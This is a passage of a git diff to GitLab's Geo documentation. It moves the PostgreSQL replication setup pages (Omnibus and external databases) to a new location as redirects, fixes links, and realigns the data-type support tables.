+- Fetch changes from a repository that has recently been updated. + +Because the replicated database instance is read-only, we need this additional database instance for each **secondary** node. + +### Geo Log Cursor + +This daemon: + +- Reads a log of events replicated by the **primary** node to the **secondary** database instance. +- Updates the Geo Tracking Database instance with changes that need to be executed. + +When something is marked to be updated in the tracking database instance, asynchronous jobs running on the **secondary** node will execute the required operations and update the state. + +This new architecture allows GitLab to be resilient to connectivity issues between the nodes. It doesn't matter how long the **secondary** node is disconnected from the **primary** node as it will be able to replay all the events in the correct order and become synchronized with the **primary** node again. + +## Setup instructions + +For setup instructions, see [Setting up Geo](setup/index.md). + +## Post-installation documentation + +After installing GitLab on the **secondary** nodes and performing the initial configuration, see the following documentation for post-installation information. + +### Configuring Geo + +For information on configuring Geo, see [Geo configuration](replication/configuration.md). + +### Updating Geo + +For information on how to update your Geo nodes to the latest GitLab version, see [Updating the Geo nodes](replication/updating_the_geo_nodes.md). + +### Pausing and resuming replication + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/35913) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.2. + +In some circumstances, like during [upgrades](replication/updating_the_geo_nodes.md) or a [planned failover](disaster_recovery/planned_failover.md), it is desirable to pause replication between the primary and secondary. + +Pausing and resuming replication is done via a command line tool from the secondary node. + +**To Pause: (from secondary)** + +```shell +gitlab-ctl geo-replication-pause +``` + +**To Resume: (from secondary)** + +```shell +gitlab-ctl geo-replication-resume +``` + +### Configuring Geo for multiple nodes + +For information on configuring Geo for multiple nodes, see [Geo for multiple servers](replication/multiple_servers.md). + +### Configuring Geo with Object Storage + +For information on configuring Geo with object storage, see [Geo with Object storage](replication/object_storage.md). + +### Disaster Recovery + +For information on using Geo in disaster recovery situations to mitigate data-loss and restore services, see [Disaster Recovery](disaster_recovery/index.md). + +### Replicating the Container Registry + +For more information on how to replicate the Container Registry, see [Docker Registry for a **secondary** node](replication/docker_registry.md). + +### Security Review + +For more information on Geo security, see [Geo security review](replication/security_review.md). + +### Tuning Geo + +For more information on tuning Geo, see [Tuning Geo](replication/tuning.md). + +### Set up a location-aware Git URL + +For an example of how to set up a location-aware Git remote URL with AWS Route53, see [Location-aware Git remote URL with AWS Route53](replication/location_aware_git_url.md). + +## Remove Geo node + +For more information on removing a Geo node, see [Removing **secondary** Geo nodes](replication/remove_geo_node.md). + +## Disable Geo + +To find out how to disable Geo, see [Disabling Geo](replication/disable_geo.md). + +## Current limitations + +CAUTION: **Caution:** +This list of limitations only reflects the latest version of GitLab. If you are using an older version, extra limitations may be in place. + +- Pushing directly to a **secondary** node redirects (for HTTP) or proxies (for SSH) the request to the **primary** node instead of [handling it directly](https://gitlab.com/gitlab-org/gitlab/-/issues/1381), except when using Git over HTTP with credentials embedded within the URI. For example, `https://user:password@secondary.tld`. +- Cloning, pulling, or pushing repositories that exist on the **primary** node but not on the **secondary** nodes where [selective synchronization](replication/configuration.md#selective-synchronization) does not include the project is not supported over SSH [but support is planned](https://gitlab.com/groups/gitlab-org/-/epics/2562). HTTP(S) is supported. +- The **primary** node has to be online for OAuth login to happen. Existing sessions and Git are not affected. Support for the **secondary** node to use an OAuth provider independent from the primary is [being planned](https://gitlab.com/gitlab-org/gitlab/-/issues/208465). +- The installation takes multiple manual steps that together can take about an hour depending on circumstances. We are working on improving this experience. See [Omnibus GitLab issue #2978](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/2978) for details. +- Real-time updates of issues/merge requests (for example, via long polling) doesn't work on the **secondary** node. +- [Selective synchronization](replication/configuration.md#selective-synchronization) applies only to files and repositories. Other datasets are replicated to the **secondary** node in full, making it inappropriate for use as an access control mechanism. +- Object pools for forked project deduplication work only on the **primary** node, and are duplicated on the **secondary** node. +- [External merge request diffs](../merge_request_diffs.md) will not be replicated if they are on-disk, and viewing merge requests will fail. However, external MR diffs in object storage **are** supported. The default configuration (in-database) does work. +- GitLab Runners cannot register with a **secondary** node. Support for this is [planned for the future](https://gitlab.com/gitlab-org/gitlab/-/issues/3294). + +### Limitations on replication/verification + +You can keep track of the progress to implement the missing items in +these epics/issues: + +- [Unreplicated Data Types](https://gitlab.com/groups/gitlab-org/-/epics/893) +- [Verify all replicated data](https://gitlab.com/groups/gitlab-org/-/epics/1430) + +There is a complete list of all GitLab [data types](replication/datatypes.md) and [existing support for replication and verification](replication/datatypes.md#limitations-on-replicationverification). + +## Frequently Asked Questions + +For answers to common questions, see the [Geo FAQ](replication/faq.md). + +## Log files + +Since GitLab 9.5, Geo stores structured log messages in a `geo.log` file. For Omnibus installations, this file is at `/var/log/gitlab/gitlab-rails/geo.log`. + +This file contains information about when Geo attempts to sync repositories and files. Each line in the file contains a separate JSON entry that can be ingested into. For example, Elasticsearch or Splunk. + +For example: + +```json +{"severity":"INFO","time":"2017-08-06T05:40:16.104Z","message":"Repository update","project_id":1,"source":"repository","resync_repository":true,"resync_wiki":true,"class":"Gitlab::Geo::LogCursor::Daemon","cursor_delay_s":0.038} +``` + +This message shows that Geo detected that a repository update was needed for project `1`. + +## Troubleshooting + +For troubleshooting steps, see [Geo Troubleshooting](replication/troubleshooting.md). diff --git a/doc/administration/geo/replication/configuration.md b/doc/administration/geo/replication/configuration.md index 74fa8e3b8f2..8c818bcfbe2 100644 --- a/doc/administration/geo/replication/configuration.md +++ b/doc/administration/geo/replication/configuration.md @@ -12,7 +12,7 @@ type: howto NOTE: **Note:** This is the final step in setting up a **secondary** Geo node. Stages of the setup process must be completed in the documented order. -Before attempting the steps in this stage, [complete all prior stages](index.md#using-omnibus-gitlab). +Before attempting the steps in this stage, [complete all prior stages](../setup/index.md#using-omnibus-gitlab). The basic steps of configuring a **secondary** node are to: diff --git a/doc/administration/geo/replication/database.md b/doc/administration/geo/replication/database.md index 0bc37ce6438..da5376190b9 100644 --- a/doc/administration/geo/replication/database.md +++ b/doc/administration/geo/replication/database.md @@ -1,469 +1,5 @@ --- -stage: Enablement -group: Geo -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers -type: howto +redirect_to: '../setup/database.md' --- -# Geo database replication **(PREMIUM ONLY)** - -NOTE: **Note:** -If your GitLab installation uses external (not managed by Omnibus) PostgreSQL -instances, the Omnibus roles will not be able to perform all necessary -configuration steps. In this case, -[follow the Geo with external PostgreSQL instances document instead](external_database.md). - -NOTE: **Note:** -The stages of the setup process must be completed in the documented order. -Before attempting the steps in this stage, [complete all prior stages](index.md#using-omnibus-gitlab). - -This document describes the minimal steps you have to take in order to -replicate your **primary** GitLab database to a **secondary** node's database. You may -have to change some values according to your database setup, how big it is, etc. - -You are encouraged to first read through all the steps before executing them -in your testing/production environment. - -## PostgreSQL replication - -The GitLab **primary** node where the write operations happen will connect to -the **primary** database server, and **secondary** nodes will -connect to their own database servers (which are also read-only). - -We recommend using [PostgreSQL replication slots](https://medium.com/@tk512/replication-slots-in-postgresql-b4b03d277c75) -to ensure that the **primary** node retains all the data necessary for the **secondary** nodes to -recover. See below for more details. - -The following guide assumes that: - -- You are using Omnibus and therefore you are using PostgreSQL 11 or later - which includes the [`pg_basebackup` tool](https://www.postgresql.org/docs/11/app-pgbasebackup.html). -- You have a **primary** node already set up (the GitLab server you are - replicating from), running Omnibus' PostgreSQL (or equivalent version), and - you have a new **secondary** server set up with the same versions of the OS, - PostgreSQL, and GitLab on all nodes. - -CAUTION: **Warning:** -Geo works with streaming replication. Logical replication is not supported at this time. -There is an [issue where support is being discussed](https://gitlab.com/gitlab-org/gitlab/-/issues/7420). - -### Step 1. Configure the **primary** server - -1. SSH into your GitLab **primary** server and login as root: - - ```shell - sudo -i - ``` - -1. Edit `/etc/gitlab/gitlab.rb` and add a **unique** name for your node: - - ```ruby - # The unique identifier for the Geo node. - gitlab_rails['geo_node_name'] = '<node_name_here>' - ``` - -1. Reconfigure the **primary** node for the change to take effect: - - ```shell - gitlab-ctl reconfigure - ``` - -1. Execute the command below to define the node as **primary** node: - - ```shell - gitlab-ctl set-geo-primary-node - ``` - - This command will use your defined `external_url` in `/etc/gitlab/gitlab.rb`. - -1. GitLab 10.4 and up only: Do the following to make sure the `gitlab` database user has a password defined: - - Generate a MD5 hash of the desired password: - - ```shell - gitlab-ctl pg-password-md5 gitlab - # Enter password: <your_password_here> - # Confirm password: <your_password_here> - # fca0b89a972d69f00eb3ec98a5838484 - ``` - - Edit `/etc/gitlab/gitlab.rb`: - - ```ruby - # Fill with the hash generated by `gitlab-ctl pg-password-md5 gitlab` - postgresql['sql_user_password'] = '<md5_hash_of_your_password>' - - # Every node that runs Puma or Sidekiq needs to have the database - # password specified as below. If you have a high-availability setup, this - # must be present in all application nodes. - gitlab_rails['db_password'] = '<your_password_here>' - ``` - -1. Omnibus GitLab already has a [replication user](https://wiki.postgresql.org/wiki/Streaming_Replication) - called `gitlab_replicator`. You must set the password for this user manually. - You will be prompted to enter a password: - - ```shell - gitlab-ctl set-replication-password - ``` - - This command will also read the `postgresql['sql_replication_user']` Omnibus - setting in case you have changed `gitlab_replicator` username to something - else. - - If you are using an external database not managed by Omnibus GitLab, you need - to create the replicator user and define a password to it manually: - - ```sql - --- Create a new user 'replicator' - CREATE USER gitlab_replicator; - - --- Set/change a password and grants replication privilege - ALTER USER gitlab_replicator WITH REPLICATION ENCRYPTED PASSWORD '<replication_password>'; - ``` - -1. Configure PostgreSQL to listen on network interfaces: - - For security reasons, PostgreSQL does not listen on any network interfaces - by default. However, Geo requires the **secondary** node to be able to - connect to the **primary** node's database. For this reason, we need the address of - each node. - - NOTE: **Note:** - For external PostgreSQL instances, see [additional instructions](external_database.md). - - If you are using a cloud provider, you can lookup the addresses for each - Geo node through your cloud provider's management console. - - To lookup the address of a Geo node, SSH in to the Geo node and execute: - - ```shell - ## - ## Private address - ## - ip route get 255.255.255.255 | awk '{print "Private address:", $NF; exit}' - - ## - ## Public address - ## - echo "External address: $(curl --silent ipinfo.io/ip)" - ``` - - In most cases, the following addresses will be used to configure GitLab - Geo: - - | Configuration | Address | - |:----------------------------------------|:------------------------------------------------------| - | `postgresql['listen_address']` | **Primary** node's public or VPC private address. | - | `postgresql['md5_auth_cidr_addresses']` | **Secondary** node's public or VPC private addresses. | - - If you are using Google Cloud Platform, SoftLayer, or any other vendor that - provides a virtual private cloud (VPC) you can use the **primary** and **secondary** nodes - private addresses (corresponds to "internal address" for Google Cloud Platform) for - `postgresql['md5_auth_cidr_addresses']` and `postgresql['listen_address']`. - - The `listen_address` option opens PostgreSQL up to network connections with the interface - corresponding to the given address. See [the PostgreSQL documentation](https://www.postgresql.org/docs/11/runtime-config-connection.html) - for more details. - - NOTE: **Note:** - If you need to use `0.0.0.0` or `*` as the listen_address, you will also need to add - `127.0.0.1/32` to the `postgresql['md5_auth_cidr_addresses']` setting, to allow Rails to connect through - `127.0.0.1`. For more information, see [omnibus-5258](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5258). - - Depending on your network configuration, the suggested addresses may not - be correct. If your **primary** node and **secondary** nodes connect over a local - area network, or a virtual network connecting availability zones like - [Amazon's VPC](https://aws.amazon.com/vpc/) or [Google's VPC](https://cloud.google.com/vpc/) - you should use the **secondary** node's private address for `postgresql['md5_auth_cidr_addresses']`. - - Edit `/etc/gitlab/gitlab.rb` and add the following, replacing the IP - addresses with addresses appropriate to your network configuration: - - ```ruby - ## - ## Geo Primary role - ## - configure dependent flags automatically to enable Geo - ## - roles ['geo_primary_role'] - - ## - ## Primary address - ## - replace '<primary_node_ip>' with the public or VPC address of your Geo primary node - ## - postgresql['listen_address'] = '<primary_node_ip>' - - ## - # Allow PostgreSQL client authentication from the primary and secondary IPs. These IPs may be - # public or VPC addresses in CIDR format, for example ['198.51.100.1/32', '198.51.100.2/32'] - ## - postgresql['md5_auth_cidr_addresses'] = ['<primary_node_ip>/32', '<secondary_node_ip>/32'] - - ## - ## Replication settings - ## - set this to be the number of Geo secondary nodes you have - ## - postgresql['max_replication_slots'] = 1 - # postgresql['max_wal_senders'] = 10 - # postgresql['wal_keep_segments'] = 10 - - ## - ## Disable automatic database migrations temporarily - ## (until PostgreSQL is restarted and listening on the private address). - ## - gitlab_rails['auto_migrate'] = false - ``` - -1. Optional: If you want to add another **secondary** node, the relevant setting would look like: - - ```ruby - postgresql['md5_auth_cidr_addresses'] = ['<primary_node_ip>/32', '<secondary_node_ip>/32', '<another_secondary_node_ip>/32'] - ``` - - You may also want to edit the `wal_keep_segments` and `max_wal_senders` to match your - database replication requirements. Consult the [PostgreSQL - Replication documentation](https://www.postgresql.org/docs/11/runtime-config-replication.html) - for more information. - -1. Save the file and reconfigure GitLab for the database listen changes and - the replication slot changes to be applied: - - ```shell - gitlab-ctl reconfigure - ``` - - Restart PostgreSQL for its changes to take effect: - - ```shell - gitlab-ctl restart postgresql - ``` - -1. Re-enable migrations now that PostgreSQL is restarted and listening on the - private address. - - Edit `/etc/gitlab/gitlab.rb` and **change** the configuration to `true`: - - ```ruby - gitlab_rails['auto_migrate'] = true - ``` - - Save the file and reconfigure GitLab: - - ```shell - gitlab-ctl reconfigure - ``` - -1. Now that the PostgreSQL server is set up to accept remote connections, run - `netstat -plnt | grep 5432` to make sure that PostgreSQL is listening on port - `5432` to the **primary** server's private address. - -1. A certificate was automatically generated when GitLab was reconfigured. This - will be used automatically to protect your PostgreSQL traffic from - eavesdroppers, but to protect against active ("man-in-the-middle") attackers, - the **secondary** node needs a copy of the certificate. Make a copy of the PostgreSQL - `server.crt` file on the **primary** node by running this command: - - ```shell - cat ~gitlab-psql/data/server.crt - ``` - - Copy the output into a clipboard or into a local file. You - will need it when setting up the **secondary** node! The certificate is not sensitive - data. - -### Step 2. Configure the **secondary** server - -1. SSH into your GitLab **secondary** server and login as root: - - ```shell - sudo -i - ``` - -1. Stop application server and Sidekiq - - ```shell - gitlab-ctl stop puma - gitlab-ctl stop sidekiq - ``` - - NOTE: **Note:** - This step is important so we don't try to execute anything before the node is fully configured. - -1. [Check TCP connectivity](../../raketasks/maintenance.md) to the **primary** node's PostgreSQL server: - - ```shell - gitlab-rake gitlab:tcp_check[<primary_node_ip>,5432] - ``` - - NOTE: **Note:** - If this step fails, you may be using the wrong IP address, or a firewall may - be preventing access to the server. Check the IP address, paying close - attention to the difference between public and private addresses and ensure - that, if a firewall is present, the **secondary** node is permitted to connect to the - **primary** node on port 5432. - -1. Create a file `server.crt` in the **secondary** server, with the content you got on the last step of the **primary** node's setup: - - ```shell - editor server.crt - ``` - -1. Set up PostgreSQL TLS verification on the **secondary** node: - - Install the `server.crt` file: - - ```shell - install \ - -D \ - -o gitlab-psql \ - -g gitlab-psql \ - -m 0400 \ - -T server.crt ~gitlab-psql/.postgresql/root.crt - ``` - - PostgreSQL will now only recognize that exact certificate when verifying TLS - connections. The certificate can only be replicated by someone with access - to the private key, which is **only** present on the **primary** node. - -1. Test that the `gitlab-psql` user can connect to the **primary** node's database - (the default Omnibus database name is `gitlabhq_production`): - - ```shell - sudo \ - -u gitlab-psql /opt/gitlab/embedded/bin/psql \ - --list \ - -U gitlab_replicator \ - -d "dbname=gitlabhq_production sslmode=verify-ca" \ - -W \ - -h <primary_node_ip> - ``` - - When prompted enter the password you set in the first step for the - `gitlab_replicator` user. If all worked correctly, you should see - the list of **primary** node's databases. - - A failure to connect here indicates that the TLS configuration is incorrect. - Ensure that the contents of `~gitlab-psql/data/server.crt` on the **primary** node - match the contents of `~gitlab-psql/.postgresql/root.crt` on the **secondary** node. - -1. Configure PostgreSQL: - - This step is similar to how we configured the **primary** instance. - We need to enable this, even if using a single node. - - Edit `/etc/gitlab/gitlab.rb` and add the following, replacing the IP - addresses with addresses appropriate to your network configuration: - - ```ruby - ## - ## Geo Secondary role - ## - configure dependent flags automatically to enable Geo - ## - roles ['geo_secondary_role'] - - ## - ## Secondary address - ## - replace '<secondary_node_ip>' with the public or VPC address of your Geo secondary node - ## - postgresql['listen_address'] = '<secondary_node_ip>' - postgresql['md5_auth_cidr_addresses'] = ['<secondary_node_ip>/32'] - - ## - ## Database credentials password (defined previously in primary node) - ## - replicate same values here as defined in primary node - ## - postgresql['sql_user_password'] = '<md5_hash_of_your_password>' - gitlab_rails['db_password'] = '<your_password_here>' - ``` - - For external PostgreSQL instances, see [additional instructions](external_database.md). - If you bring a former **primary** node back online to serve as a **secondary** node, then you also need to remove `roles ['geo_primary_role']` or `geo_primary_role['enable'] = true`. - -1. Reconfigure GitLab for the changes to take effect: - - ```shell - gitlab-ctl reconfigure - ``` - -1. Restart PostgreSQL for the IP change to take effect: - - ```shell - gitlab-ctl restart postgresql - ``` - -### Step 3. Initiate the replication process - -Below we provide a script that connects the database on the **secondary** node to -the database on the **primary** node, replicates the database, and creates the -needed files for streaming replication. - -The directories used are the defaults that are set up in Omnibus. If you have -changed any defaults, configure it as you see fit replacing the directories and paths. - -CAUTION: **Warning:** -Make sure to run this on the **secondary** server as it removes all PostgreSQL's -data before running `pg_basebackup`. - -1. SSH into your GitLab **secondary** server and login as root: - - ```shell - sudo -i - ``` - -1. Choose a database-friendly name to use for your **secondary** node to - use as the replication slot name. For example, if your domain is - `secondary.geo.example.com`, you may use `secondary_example` as the slot - name as shown in the commands below. - -1. Execute the command below to start a backup/restore and begin the replication - - CAUTION: **Warning:** - Each Geo **secondary** node must have its own unique replication slot name. - Using the same slot name between two secondaries will break PostgreSQL replication. - - ```shell - gitlab-ctl replicate-geo-database \ - --slot-name=<secondary_node_name> \ - --host=<primary_node_ip> - ``` - - NOTE: **Note:** - Replication slot names must only contain lowercase letters, numbers, and the underscore character. - - When prompted, enter the _plaintext_ password you set up for the `gitlab_replicator` - user in the first step. - - This command also takes a number of additional options. You can use `--help` - to list them all, but here are a couple of tips: - - - If PostgreSQL is listening on a non-standard port, add `--port=` as well. - - If your database is too large to be transferred in 30 minutes, you will need - to increase the timeout, e.g., `--backup-timeout=3600` if you expect the - initial replication to take under an hour. - - Pass `--sslmode=disable` to skip PostgreSQL TLS authentication altogether - (e.g., you know the network path is secure, or you are using a site-to-site - VPN). This is **not** safe over the public Internet! - - You can read more details about each `sslmode` in the - [PostgreSQL documentation](https://www.postgresql.org/docs/11/libpq-ssl.html#LIBPQ-SSL-PROTECTION); - the instructions above are carefully written to ensure protection against - both passive eavesdroppers and active "man-in-the-middle" attackers. - - Change the `--slot-name` to the name of the replication slot - to be used on the **primary** database. The script will attempt to create the - replication slot automatically if it does not exist. - - If you're repurposing an old server into a Geo **secondary** node, you'll need to - add `--force` to the command line. - - When not in a production machine you can disable backup step if you - really sure this is what you want by adding `--skip-backup` - -The replication process is now complete. - -## PgBouncer support (optional) - -[PgBouncer](https://www.pgbouncer.org/) may be used with GitLab Geo to pool -PostgreSQL connections. We recommend using PgBouncer if you use GitLab in a -high-availability configuration with a cluster of nodes supporting a Geo -**primary** node and another cluster of nodes supporting a Geo **secondary** node. For more -information, see [High Availability with Omnibus GitLab](../../postgresql/replication_and_failover.md). - -## Troubleshooting - -Read the [troubleshooting document](troubleshooting.md). +This document was moved to [another location](../setup/index.md). diff --git a/doc/administration/geo/replication/datatypes.md b/doc/administration/geo/replication/datatypes.md index b8d01e80371..166a724f9c1 100644 --- a/doc/administration/geo/replication/datatypes.md +++ b/doc/administration/geo/replication/datatypes.md @@ -45,8 +45,8 @@ verification methods: | Blobs | Archived CI build traces _(object storage)_ | Geo with API/Managed (*2*) | _Not implemented_ | | Blobs | Container registry _(filesystem)_ | Geo with API/Docker API | _Not implemented_ | | Blobs | Container registry _(object storage)_ | Geo with API/Managed/Docker API (*2*) | _Not implemented_ | -| Blobs | Package registry _(filesystem)_ | Geo with API | _Not implemented_ | -| Blobs | Package registry _(object storage)_ | Geo with API/Managed (*2*) | _Not implemented_ | +| Blobs | Package registry _(filesystem)_ | Geo with API | _Not implemented_ | +| Blobs | Package registry _(object storage)_ | Geo with API/Managed (*2*) | _Not implemented_ | - (*1*): Redis replication can be used as part of HA with Redis sentinel. It's not used between Geo nodes. - (*2*): Object storage replication can be performed by Geo or by your object storage provider/appliance @@ -134,7 +134,7 @@ The replication for some data types is behind a corresponding feature flag: > - They're enabled on GitLab.com. > - They can't be enabled or disabled per-project. > - They are recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable them](#enable-or-disable-replication-for-some-data-types-core-only). **(CORE ONLY)** +> - For GitLab self-managed instances, GitLab administrators can opt to [disable them](#enable-or-disable-replication-for-some-data-types). **(CORE ONLY)** #### Enable or disable replication (for some data types) **(CORE ONLY)** @@ -160,34 +160,34 @@ replicating data from those features will cause the data to be **lost**. If you wish to use those features on a **secondary** node, or to execute a failover successfully, you must replicate their data using some other means. -| Feature | Replicated (added in GitLab version) | Verified (added in GitLab version) | Notes | -|:---------------------------------------------------------------------|:---------------------------------------------------------|:--------------------------------------------------------|:-----------------------------------------------------------------------------------------------------------| -| Application data in PostgreSQL | **Yes** (10.2) | **Yes** (10.2) | | -| Project repository | **Yes** (10.2) | **Yes** (10.7) | | -| Project wiki repository | **Yes** (10.2) | **Yes** (10.7) | | -| Project designs repository | **Yes** (12.7) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/32467) | | -| Uploads | **Yes** (10.2) | [No](https://gitlab.com/groups/gitlab-org/-/epics/1817) | Verified only on transfer, or manually (*1*) | -| LFS objects | **Yes** (10.2) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/8922) | Verified only on transfer, or manually (*1*). Unavailable for new LFS objects in 11.11.x and 12.0.x (*2*). | -| CI job artifacts (other than traces) | **Yes** (10.4) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/8923) | Verified only manually (*1*) | -| Archived traces | **Yes** (10.4) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/8923) | Verified only on transfer, or manually (*1*) | -| Personal snippets | **Yes** (10.2) | **Yes** (10.2) | | -| [Versioned snippets](../../../user/snippets.md#versioned-snippets) | [No](https://gitlab.com/groups/gitlab-org/-/epics/2809) | [No](https://gitlab.com/groups/gitlab-org/-/epics/2810) | | -| Project snippets | **Yes** (10.2) | **Yes** (10.2) | | -| Object pools for forked project deduplication | **Yes** | No | | -| [Server-side Git hooks](../../server_hooks.md) | No | No | | -| [Elasticsearch integration](../../../integration/elasticsearch.md) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/1186) | No | | -| [GitLab Pages](../../pages/index.md) | [No](https://gitlab.com/groups/gitlab-org/-/epics/589) | No | | -| [Container Registry](../../packages/container_registry.md) | **Yes** (12.3) | No | | -| [NPM Registry](../../../user/packages/npm_registry/index.md) | **Yes** (13.2) | No | Behind feature flag `geo_package_file_replication`, enabled by default | | -| [Maven Repository](../../../user/packages/maven_repository/index.md) | **Yes** (13.2) | No | Behind feature flag `geo_package_file_replication`, enabled by default | | -| [Conan Repository](../../../user/packages/conan_repository/index.md) | **Yes** (13.2) | No | Behind feature flag `geo_package_file_replication`, enabled by default | | -| [NuGet Repository](../../../user/packages/nuget_repository/index.md) | **Yes** (13.2) | No | Behind feature flag `geo_package_file_replication`, enabled by default | | -| [PyPi Repository](../../../user/packages/pypi_repository/index.md) | **Yes** (13.2) | No | Behind feature flag `geo_package_file_replication`, enabled by default | | -| [Composer Repository](../../../user/packages/composer_repository/index.md) | **Yes** (13.2) | No | Behind feature flag `geo_package_file_replication`, enabled by default | | -| [External merge request diffs](../../merge_request_diffs.md) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/33817) | No | | -| [Terraform State](../../terraform_state.md) | [No](https://gitlab.com/groups/gitlab-org/-/epics/3112)(*3*) | No | | -| [Vulnerability Export](../../../user/application_security/security_dashboard/#export-vulnerabilities) | [No](https://gitlab.com/groups/gitlab-org/-/epics/3111)(*3*) | No | | | -| Content in object storage | **Yes** (12.4) | No | | +| Feature | Replicated (added in GitLab version) | Verified (added in GitLab version) | Notes | +|:------------------------------------------------------------------------------------------------------|:-------------------------------------------------------------|:----------------------------------------------------------|:-----------------------------------------------------------------------------------------------------------| +| Application data in PostgreSQL | **Yes** (10.2) | **Yes** (10.2) | | +| Project repository | **Yes** (10.2) | **Yes** (10.7) | | +| Project wiki repository | **Yes** (10.2) | **Yes** (10.7) | | +| Project designs repository | **Yes** (12.7) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/32467) | | +| Uploads | **Yes** (10.2) | [No](https://gitlab.com/groups/gitlab-org/-/epics/1817) | Verified only on transfer, or manually (*1*) | +| LFS objects | **Yes** (10.2) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/8922) | Verified only on transfer, or manually (*1*). Unavailable for new LFS objects in 11.11.x and 12.0.x (*2*). | +| CI job artifacts (other than traces) | **Yes** (10.4) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/8923) | Verified only manually (*1*) | +| Archived traces | **Yes** (10.4) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/8923) | Verified only on transfer, or manually (*1*) | +| Personal snippets | **Yes** (10.2) | **Yes** (10.2) | | +| [Versioned snippets](../../../user/snippets.md#versioned-snippets) | [No](https://gitlab.com/groups/gitlab-org/-/epics/2809) | [No](https://gitlab.com/groups/gitlab-org/-/epics/2810) | | +| Project snippets | **Yes** (10.2) | **Yes** (10.2) | | +| Object pools for forked project deduplication | **Yes** | No | | +| [Server-side Git hooks](../../server_hooks.md) | No | No | | +| [Elasticsearch integration](../../../integration/elasticsearch.md) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/1186) | No | | +| [GitLab Pages](../../pages/index.md) | [No](https://gitlab.com/groups/gitlab-org/-/epics/589) | No | | +| [Container Registry](../../packages/container_registry.md) | **Yes** (12.3) | No | | +| [NPM Registry](../../../user/packages/npm_registry/index.md) | **Yes** (13.2) | No | Behind feature flag `geo_package_file_replication`, enabled by default | +| [Maven Repository](../../../user/packages/maven_repository/index.md) | **Yes** (13.2) | No | Behind feature flag `geo_package_file_replication`, enabled by default | +| [Conan Repository](../../../user/packages/conan_repository/index.md) | **Yes** (13.2) | No | Behind feature flag `geo_package_file_replication`, enabled by default | +| [NuGet Repository](../../../user/packages/nuget_repository/index.md) | **Yes** (13.2) | No | Behind feature flag `geo_package_file_replication`, enabled by default | +| [PyPi Repository](../../../user/packages/pypi_repository/index.md) | **Yes** (13.2) | No | Behind feature flag `geo_package_file_replication`, enabled by default | +| [Composer Repository](../../../user/packages/composer_repository/index.md) | **Yes** (13.2) | No | Behind feature flag `geo_package_file_replication`, enabled by default | +| [External merge request diffs](../../merge_request_diffs.md) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/33817) | No | | +| [Terraform State](../../terraform_state.md) | [No](https://gitlab.com/groups/gitlab-org/-/epics/3112)(*3*) | No | | +| [Vulnerability Export](../../../user/application_security/security_dashboard/#export-vulnerabilities) | [No](https://gitlab.com/groups/gitlab-org/-/epics/3111)(*3*) | No | | +| Content in object storage | **Yes** (12.4) | No | | - (*1*): The integrity can be verified manually using [Integrity Check Rake Task](../../raketasks/check.md) on both nodes and comparing diff --git a/doc/administration/geo/replication/external_database.md b/doc/administration/geo/replication/external_database.md index d860a3dd368..0d0cd8a37d5 100644 --- a/doc/administration/geo/replication/external_database.md +++ b/doc/administration/geo/replication/external_database.md @@ -1,234 +1,5 @@ --- -stage: Enablement -group: Geo -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers -type: howto +redirect_to: '../setup/external_database.md' --- -# Geo with external PostgreSQL instances **(PREMIUM ONLY)** - -This document is relevant if you are using a PostgreSQL instance that is *not -managed by Omnibus*. This includes cloud-managed instances like AWS RDS, or -manually installed and configured PostgreSQL instances. - -NOTE: **Note:** -We strongly recommend running Omnibus-managed instances as they are actively -developed and tested. We aim to be compatible with most external -(not managed by Omnibus) databases but we do not guarantee compatibility. - -## **Primary** node - -1. SSH into a GitLab **primary** application server and login as root: - - ```shell - sudo -i - ``` - -1. Edit `/etc/gitlab/gitlab.rb` and add a **unique** ID for your node (arbitrary value): - - ```ruby - # The unique identifier for the Geo node. - gitlab_rails['geo_node_name'] = '<node_name_here>' - ``` - -1. Reconfigure the **primary** node for the change to take effect: - - ```shell - gitlab-ctl reconfigure - ``` - -1. Execute the command below to define the node as **primary** node: - - ```shell - gitlab-ctl set-geo-primary-node - ``` - - This command will use your defined `external_url` in `/etc/gitlab/gitlab.rb`. - -### Configure the external database to be replicated - -To set up an external database, you can either: - -- Set up streaming replication yourself (for example, in AWS RDS). -- Perform the Omnibus configuration manually as follows. - -#### Leverage your cloud provider's tools to replicate the primary database - -Given you have a primary node set up on AWS EC2 that uses RDS. -You can now just create a read-only replica in a different region and the -replication process will be managed by AWS. Make sure you've set Network ACL, Subnet, and -Security Group according to your needs, so the secondary application node can access the database. - -The following instructions detail how to create a read-only replica for common -cloud providers: - -- Amazon RDS - [Creating a Read Replica](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_ReadRepl.html#USER_ReadRepl.Create) -- Azure Database for PostgreSQL - [Create and manage read replicas in Azure Database for PostgreSQL](https://docs.microsoft.com/en-us/azure/postgresql/howto-read-replicas-portal) - -Once your read-only replica is set up, you can skip to [configure you secondary application node](#configure-secondary-application-nodes-to-use-the-external-read-replica). - -#### Manually configure the primary database for replication - -The [`geo_primary_role`](https://docs.gitlab.com/omnibus/roles/#gitlab-geo-roles) -configures the **primary** node's database to be replicated by making changes to -`pg_hba.conf` and `postgresql.conf`. Make the following configuration changes -manually to your external database configuration and ensure that you restart PostgreSQL -afterwards for the changes to take effect: - -```plaintext -## -## Geo Primary Role -## - pg_hba.conf -## -host all all <trusted primary IP>/32 md5 -host replication gitlab_replicator <trusted primary IP>/32 md5 -host all all <trusted secondary IP>/32 md5 -host replication gitlab_replicator <trusted secondary IP>/32 md5 -``` - -```plaintext -## -## Geo Primary 